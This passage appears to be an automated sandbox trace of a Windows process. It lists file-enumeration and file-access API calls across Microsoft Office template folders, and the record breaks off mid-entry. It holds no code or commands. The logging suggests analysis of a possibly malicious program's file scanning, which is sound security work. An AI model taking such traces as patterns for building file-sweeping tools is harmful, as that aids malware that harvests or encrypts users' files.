[0079.839] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc75c370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc75c370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc75c370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONENOTE", cAlternateFileName="")) returned 1 [0079.839] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e4db210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x2db52, dwReserved0=0x0, dwReserved1=0x0, cFileName="OrielLetter.Dotx", cAlternateFileName="")) returned 1 [0079.839] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e4db210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x1b29e, dwReserved0=0x0, dwReserved1=0x0, cFileName="OrielMergeFax.Dotx", cAlternateFileName="")) returned 1 [0079.839] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e4db210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x2b308, dwReserved0=0x0, dwReserved1=0x0, cFileName="OrielMergeLetter.Dotx", cAlternateFileName="")) returned 1 [0079.839] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e4db210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x82b54, dwReserved0=0x0, dwReserved1=0x0, cFileName="OrielReport.Dotx", cAlternateFileName="")) returned 1 [0079.839] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e4db210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x4ab41, dwReserved0=0x0, dwReserved1=0x0, cFileName="OrielResume.Dotx", cAlternateFileName="")) returned 1 [0079.839] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x1f56a, dwReserved0=0x0, dwReserved1=0x0, cFileName="OriginLetter.Dotx", cAlternateFileName="")) returned 1 [0079.839] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x172e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OriginMergeFax.Dotx", cAlternateFileName="")) returned 1 [0079.839] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x1f314, dwReserved0=0x0, dwReserved1=0x0, cFileName="OriginMergeLetter.Dotx", cAlternateFileName="")) returned 1 [0079.839] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x5b011, dwReserved0=0x0, dwReserved1=0x0, cFileName="OriginReport.Dotx", cAlternateFileName="")) returned 1 [0079.839] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x23247, dwReserved0=0x0, dwReserved1=0x0, cFileName="OriginResume.Dotx", cAlternateFileName="")) returned 1 [0079.839] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77b91500, ftCreationTime.dwHighDateTime=0x1c7c8e6, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x77b91500, ftLastWriteTime.dwHighDateTime=0x1c7c8e6, nFileSizeHigh=0x0, nFileSizeLow=0x75b3, dwReserved0=0x0, dwReserved1=0x0, cFileName="PersonalMonthlyBudget.xltx", cAlternateFileName="")) returned 1 [0079.839] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb12da100, ftCreationTime.dwHighDateTime=0x1c69a95, ftLastAccessTime.dwLowDateTime=0xf5db14d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xb12da100, ftLastWriteTime.dwHighDateTime=0x1c69a95, nFileSizeHigh=0x0, nFileSizeLow=0x2e590, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pitchbook.potx", cAlternateFileName="")) returned 1 [0079.839] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22cf4600, ftCreationTime.dwHighDateTime=0x1ca8f08, ftLastAccessTime.dwLowDateTime=0xf5e95d10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x22cf4600, ftLastWriteTime.dwHighDateTime=0x1ca8f08, nFileSizeHigh=0x0, nFileSizeLow=0x9fd6a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProjectStatusReport.potx", cAlternateFileName="")) returned 1 [0079.839] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72cd1000, ftCreationTime.dwHighDateTime=0x1c99e00, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x72cd1000, ftLastWriteTime.dwHighDateTime=0x1c99e00, nFileSizeHigh=0x0, nFileSizeLow=0x3b42, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROJPLAN.XLTX", cAlternateFileName="")) returned 1 [0079.840] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdeda0600, ftCreationTime.dwHighDateTime=0x1c6d971, ftLastAccessTime.dwLowDateTime=0xf5e95d10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xdeda0600, ftLastWriteTime.dwHighDateTime=0x1c6d971, nFileSizeHigh=0x0, nFileSizeLow=0x17697, dwReserved0=0x0, dwReserved1=0x0, cFileName="QuizShow.potx", cAlternateFileName="")) returned 1 [0079.840] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77b91500, ftCreationTime.dwHighDateTime=0x1c7c8e6, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x77b91500, ftLastWriteTime.dwHighDateTime=0x1c7c8e6, nFileSizeHigh=0x0, nFileSizeLow=0xa8ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="SalesReport.xltx", cAlternateFileName="")) returned 1 [0079.840] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88423a00, ftCreationTime.dwHighDateTime=0x1c99e00, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x88423a00, ftLastWriteTime.dwHighDateTime=0x1c99e00, nFileSizeHigh=0x0, nFileSizeLow=0x2aea, dwReserved0=0x0, dwReserved1=0x0, cFileName="TASKLIST.XLTX", cAlternateFileName="")) returned 1 [0079.840] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77b91500, ftCreationTime.dwHighDateTime=0x1c7c8e6, ftLastAccessTime.dwLowDateTime=0xfa697690, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x77b91500, ftLastWriteTime.dwHighDateTime=0x1c7c8e6, nFileSizeHigh=0x0, nFileSizeLow=0x44ff, dwReserved0=0x0, dwReserved1=0x0, cFileName="TimeCard.xltx", cAlternateFileName="")) returned 1 [0079.840] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22cf4600, ftCreationTime.dwHighDateTime=0x1ca8f08, ftLastAccessTime.dwLowDateTime=0xf5ebbe70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x22cf4600, ftLastWriteTime.dwHighDateTime=0x1ca8f08, nFileSizeHigh=0x0, nFileSizeLow=0x12f35d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Training.potx", cAlternateFileName="")) returned 1 [0079.840] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e5274d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x1c5f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="UrbanLetter.Dotx", cAlternateFileName="")) returned 1 [0079.840] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e5274d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x138a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="UrbanMergeFax.Dotx", cAlternateFileName="")) returned 1 [0079.840] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e5274d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x1c1b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UrbanMergeLetter.Dotx", cAlternateFileName="")) returned 1 [0079.840] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x219e1900, ftCreationTime.dwHighDateTime=0x1ca8f08, ftLastAccessTime.dwLowDateTime=0xf5db14d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x219e1900, ftLastWriteTime.dwHighDateTime=0x1ca8f08, nFileSizeHigh=0x0, nFileSizeLow=0x40d6e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="UrbanPhotoAlbum.potx", cAlternateFileName="")) returned 1 [0079.840] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e5274d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0xd0fbe, dwReserved0=0x0, dwReserved1=0x0, cFileName="UrbanReport.Dotx", cAlternateFileName="")) returned 1 [0079.840] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e5274d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x1ed1d, dwReserved0=0x0, dwReserved1=0x0, cFileName="UrbanResume.Dotx", cAlternateFileName="")) returned 1 [0079.840] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29d4c00, ftCreationTime.dwHighDateTime=0x1c6d972, ftLastAccessTime.dwLowDateTime=0xf5ebbe70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x29d4c00, ftLastWriteTime.dwHighDateTime=0x1c6d972, nFileSizeHigh=0x0, nFileSizeLow=0x2df34, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidescreenPresentation.potx", cAlternateFileName="")) returned 1 [0079.840] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29d4c00, ftCreationTime.dwHighDateTime=0x1c6d972, ftLastAccessTime.dwLowDateTime=0xf5ebbe70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x29d4c00, ftLastWriteTime.dwHighDateTime=0x1c6d972, nFileSizeHigh=0x0, nFileSizeLow=0x2df34, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidescreenPresentation.potx", cAlternateFileName="")) returned 0 [0079.840] GetLastError () returned 0x12 [0079.840] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9000 [0079.840] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0079.840] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf59f9270, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaf577d00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.841] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14ebe6b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x15087730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x15087730, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Access", cAlternateFileName="")) returned 1 [0079.841] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14ebe6b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x15087730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x15087730, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0079.842] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0079.842] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0079.842] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11fe6e0, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x11fe6e0, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0079.842] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe6e0) returned 1 [0079.842] NtClose (Handle=0x174) returned 0x0 [0079.842] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.842] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.842] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcd80 [0079.843] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce08 [0079.843] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e8f80 [0079.844] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14ebe6b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x15087730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x15087730, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.845] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2355ff00, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x14ee4810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2355ff00, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0xfd04e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Assets.accdt", cAlternateFileName="")) returned 1 [0079.845] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0079.846] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0079.846] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0079.846] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0079.846] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0079.846] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1226da8 [0079.846] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcd80) returned 1 [0079.846] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f3890 [0079.846] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1226eb0 [0079.847] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0079.847] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50a2ad00, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x14f0a970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50a2ad00, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x1af3fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="Charitable Contributions.accdt", cAlternateFileName="")) returned 1 [0079.847] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0079.847] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0079.847] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0079.847] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0079.847] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0079.847] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f38b0 [0079.847] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1226fb8 [0079.848] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0079.848] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c0db800, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x14f30ad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c0db800, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0xd45ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="Contacts.accdt", cAlternateFileName="")) returned 1 [0079.848] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0079.848] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0079.848] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0079.848] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0079.848] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0079.848] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f38d0 [0079.849] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12270c0 [0079.849] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x5c00) returned 0x12292f0 [0079.849] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12349c0) returned 1 [0079.849] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0079.849] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14f30ad0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x14f56c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x14f56c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DataType", cAlternateFileName="")) returned 1 [0079.849] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfcad4b00, ftCreationTime.dwHighDateTime=0x1c6d84b, ftLastAccessTime.dwLowDateTime=0x14f56c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfcad4b00, ftLastWriteTime.dwHighDateTime=0x1c6d84b, nFileSizeHigh=0x0, nFileSizeLow=0x2f2af, dwReserved0=0x0, dwReserved1=0x0, cFileName="Events.accdt", cAlternateFileName="")) returned 1 [0079.849] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0079.849] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0079.849] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0079.850] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0079.850] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0079.850] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f38f0 [0079.850] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12271c8 [0079.850] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0079.850] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, 